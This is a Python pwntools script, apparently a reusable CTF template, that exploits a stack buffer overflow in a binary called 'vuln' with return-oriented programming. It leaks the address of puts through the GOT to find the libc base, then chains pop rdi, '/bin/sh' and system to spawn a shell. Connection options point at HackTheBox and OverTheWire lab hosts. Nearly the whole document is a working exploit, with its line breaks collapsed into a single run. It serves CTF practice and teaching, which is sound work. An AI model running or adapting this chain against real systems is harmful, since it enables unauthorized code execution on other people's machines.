from pwn import * # Import pwntools ################### ### CONNECTION #### ################### LOCAL = True REMOTETTCP = False REMOTESSH = False GDB = False local_bin = "./vuln" remote_bin = "~/vuln" #For ssh libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it if LOCAL: p = process(local_bin) # start the vuln binary elf = ELF(local_bin)# Extract data from binary rop = ROP(elf)# Find ROP gadgets elif REMOTETTCP: p = remote('docker.hackthebox.eu',31648) # start the vuln binary elf = ELF(local_bin)# Extract data from binary rop = ROP(elf)# Find ROP gadgets elif REMOTESSH: ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) p = ssh_shell.process(remote_bin) # start the vuln binary elf = ELF(local_bin)# Extract data from binary rop = ROP(elf)# Find ROP gadgets if GDB: # attach gdb and continue # You can set breakpoints, for example "break *main" gdb.attach(p.pid, "continue") ################### ### Find offset ### ################### OFFSET = "A"*40 if OFFSET == "": gdb.attach(p.pid, "c") #Attach and continue payload = cyclic(1000) print(p.clean()) p.sendline(payload) #x/wx $rsp -- Search for bytes that crashed the application #cyclic_find(0x6161616b) # Find the offset of those bytes p.interactive() exit() #################### ### Find Gadgets ### #################### PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) def get_addr(func_name): FUNC_GOT = elf.got[func_name] log.info(func_name + " GOT @ " + hex(FUNC_GOT)) # Create rop chain rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) #Send our rop-chain payload #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment print(p.clean()) # clean socket buffer (read all and print) p.sendline(rop1) #Parse leaked address recieved = p.recvline().strip() leak = u64(recieved.ljust(8, "\x00")) log.info("Leaked libc address, "+func_name+": "+ hex(leak)) #If not libc yet, stop here if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") p.interactive() # Notice that if a libc was specified the base of the library will be saved in libc.address # this implies that in the future if you search for functions in libc, the resulting address # will be the real one, you can use it directly (NOT NEED TO ADD AGAINF THE LIBC BASE ADDRESS) ################################ ## GET SHELL with known LIBC ### ################################ BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh SYSTEM = libc.sym["system"] EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) p.clean() p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction